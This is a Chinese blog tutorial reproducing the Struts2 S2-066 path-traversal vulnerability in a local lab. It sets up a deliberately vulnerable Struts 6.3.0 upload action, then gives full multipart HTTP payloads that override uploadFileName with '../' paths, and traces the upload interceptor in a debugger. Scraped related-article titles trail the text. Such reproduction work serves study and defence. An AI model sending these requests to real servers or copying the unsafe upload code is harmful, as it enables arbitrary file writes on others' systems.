Strut2-66漏洞从搭建到复现到原理

0x0 创建JavaEE环境

使用idea创建JavaEE项目,添加Strut2的依赖

点击右上角创建新项目

下一步,依赖项只选择一个Servlet就行了,版本JavaEE8

然后完成打开即可,为了方便把根目录调整一下

点击右上角的tomcat编辑配置

默认的话是这样的

如果警告没有部署标记工件,点击修正选择第二个strut266:war explode就可以

修改一下这些地方,注意端口不要冲突

点击右上角运行,等tomcat启动后会自动打开网站,或者自己去请求,注意是http不是https,有的你输入

http://localhost:9999/会自动转成https://localhost:9999/ 注意!不行就换一个浏览器或百度上有解决办法。

0x01搭建漏洞环境

到这里没有毛病已经完成了第一步,第二步配置strut2依赖和上传代码

添加struts2拥有漏洞的漏洞版本

受影响版本

  • 2.5.0 <= Apache Struts <= 2.5.32
  • 6.0.0 <= Apache Struts <= 6.3.0

不受影响版本

  • Apache Struts >= 2.5.33
  • Apache Struts >= 6.3.0.2

这里用6.3.0来复现:

在pom.xml里添加strut2 6.3.0,然后加载Maven即可

<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>

如果提示Could not find artifact org.apache......

可以试一下清理后重新编译

完成后,创建一个UploadAction

代码为:

package com.example.strut266;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext; import java.io.*; public class UploadAction extends ActionSupport { private static final long serialVersionUID = 1L; private File upload; // 文件类型,为name属性值 + ContentType
private String uploadContentType; // 文件名称,为name属性值 + FileName
private String uploadFileName; public File getUpload() {
return upload;
} public void setUpload(File upload) {
this.upload = upload;
} public String getUploadContentType() {
return uploadContentType;
} public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
} public String getUploadFileName() {
return uploadFileName;
} public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
} public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
} }

在resources目录下创建struts.xml,注意修改class指定成自己的类的路径

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.example.strut266.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>

在web.xml当中配置好filter

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>

以上漏洞环境搭建完成,搭建完成之后点击右上方运行即可。

0x02漏洞复现

payload:

POST /upload.action HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 237
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 --------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain 123123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

上传成功后可以在target\strut266-1.0-SNAPSHOT\upload目录下看到上传的文件

路径穿越payload1:

POST /upload.action HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 399
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 --------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain 123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain ../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

上传成功后可以在target\strut266-1.0-SNAPSHOT\目录下看到上传的文件穿越了上层目录

路径穿越payload2:

POST /upload.action?uploadFileName=../1234.jsp HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 234
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 --------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain 123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

0x03漏洞原理

先看一下UploadAction代码

定义的对应值:

剩下的一些是在框架已经帮我们填充好的,所以我们在执行方法的时候可以直接拿到这些值

首先我们要理清楚

1、我们从payload中可以看到本该是我们上传的文件名参数,被我们另一个请求的参数所污染并覆盖了

2、所以我们要分析污染的过程,为是什么会被污染?

3、文件上传的过程主要涉及到两个重要参数,以我的环境命名为例upload以及uploadFileName

先在doUpload方法处打上断点,并进行上传请求去触发

可以看到,该请求经过了很多的调用,这里总体可以分为三列,第一列是方法、第二列是类名、第三列是类名对应的包名,我们主要看中间的类名

可以看到调用该方法之前,通过了很多拦截器,我们的操作是文件上传,肯定跟文件上传拦截器相关

点击查看该拦截器,里面有很多的方法,我们点开他继承了抽象拦截器类AbstractInterceptor

看到抽象类下面有一个抽象方法,他既然继承了这个抽象拦截器,那么他就回去实现这个方法

我们在该处打个断点

再次调试,看到他停在了第一行代码,ActionContext ac = invocation.getInvocationContext();

我们往下执行,看他存在什么东西,这里面有我们请求的session 还有文件名参数等信息

再往下看,看到获取了contentType和inputName

继续跟进filename,可以看到正常情况下他会把上传的../1.txt编程1.txt,目录穿越就被阻止了

返回原先的代码可以看到fileName被设定为1.txt,这里是没有什么问题的,下面他又整了个操作

可以看到下面他会判断如果文件列表不为空就再创建几个列表

......

struts2-66漏洞复现的更多相关文章

  1. Struts2 S2-061漏洞复现(CVE-2020-17530)

    0x01 漏洞描述 Struts2 会对某些标签属性(比如 `id`,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时,用户再传入一 ...

  2. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  3. Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现

    Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现 一.漏洞概述 Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 RES ...

  4. Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现

    Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现 一.漏洞描述 Struts2在使用Freemarker模块引擎的时候,同时允许 ...

  5. Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现

    Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现 一.漏洞描述 S2-057漏洞产生于网站配置xml的时候,有一个namespace的 ...

  6. Struts2 S2-061(CVE-2020-17530)漏洞复现

    0x00 漏洞简介 Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架.Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执 ...

  7. Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)

    0x01 漏洞简介 Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{-} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析.攻击者可以通过构造恶意的OGN ...

  8. struts2漏洞复现分析合集

    struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...

  9. 漏洞复现:Struts2 S2-032 漏洞环境

    Struts2 S2-032 漏洞环境 http://vulapps.evalbug.com/s_struts2_s2-032/ POC: http://127.0.0.1/memoindex.act ...

  10. 【S2-052】漏洞复现(CVE-2017-9805)

    一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...

随机推荐

  1. docker离线安装及设置默认存储目录

    一.离线安装Docker 在内网环境下,一般不能联网在线部署,这时候就需要以离线的方式安装docker.本文介绍在CentOS 7.6环境中离线安装docker的步骤. 1. 下载docker安装包 ...

  2. 文心一言 VS 讯飞星火 VS chatgpt (197)-- 算法导论14.3 5题

    五.用go语言,对区间树 T 和一个区间 i ,请修改有关区间树的过程来支持新的操作 INTERVALSEARCH-EXACTLY(T,i) ,它返回一个指向 T 中结点 x 的指针,使得 x.int ...

  3. 100 行代码实现用户登录注册与 RESTful 接口 - 手把手教程附 Python 源码

    在开发大多数应用时,用户系统都是必不可少的部分,而我们总是需要开发围绕用户的登录,注册,获取,更新等接口.在这篇文章将带你用一百多行代码简洁地实现一套这样的用户鉴权与 RESTful 接口,并使用 S ...

  4. DS12C887时钟模块, STC89和STC12的代码实现

    DS12C887是时钟芯片DS12C885集成了电池和晶振的版本. 如果拆掉DS12C887的外壳, 能看到里面就是DS12C885. 功能特性 能输出世纪.年.月.日.时.分.秒等时间信息 集成电池 ...

  5. 【framework】Surface创建流程

    1 前言 View添加过程 中介绍了从 WindowManagerImpl 的 addView() 方法到 WindowState.SurfaceSession 的创建流程,本文将介绍 Surface ...

  6. KQL笔记

    KQL: {'query': {'bool': {'must': [{'match': {'Sql': 'insert'}}, {'match': {'PolicyName.keyword': 'd8 ...

  7. 解决Springboot发起https请求报错:sun.sec urity.validator.ValidatorException: PKIX path building failed

    问题描述 最近开发项目中在springboot接口中调用第三方https接口,后台日志报错: sun.sec urity.validator.ValidatorException: PKIX path ...

  8. 【Android 逆向】【攻防世界】APK逆向

    1. apk安装到手机,提示输入flag 2. jadx打开apk 定位到checkSN方法 public boolean checkSN(String userName, String sn) { ...

  9. Qt三方库开发技术:QXlsx介绍、编译和使用

    若该文为原创文章,未经允许不得转载原博主博客地址:https://blog.csdn.net/qq21497936原博主博客导航:https://blog.csdn.net/qq21497936/ar ...

  10. 正则计算器---day19

    计算下面表达式最后的结果 strvar = "1-2*((60-30+(-40/5)*(9-2*5/3+7/3*99/4*2998+10*568/14))-(-4*3)/(16-3*2))& ...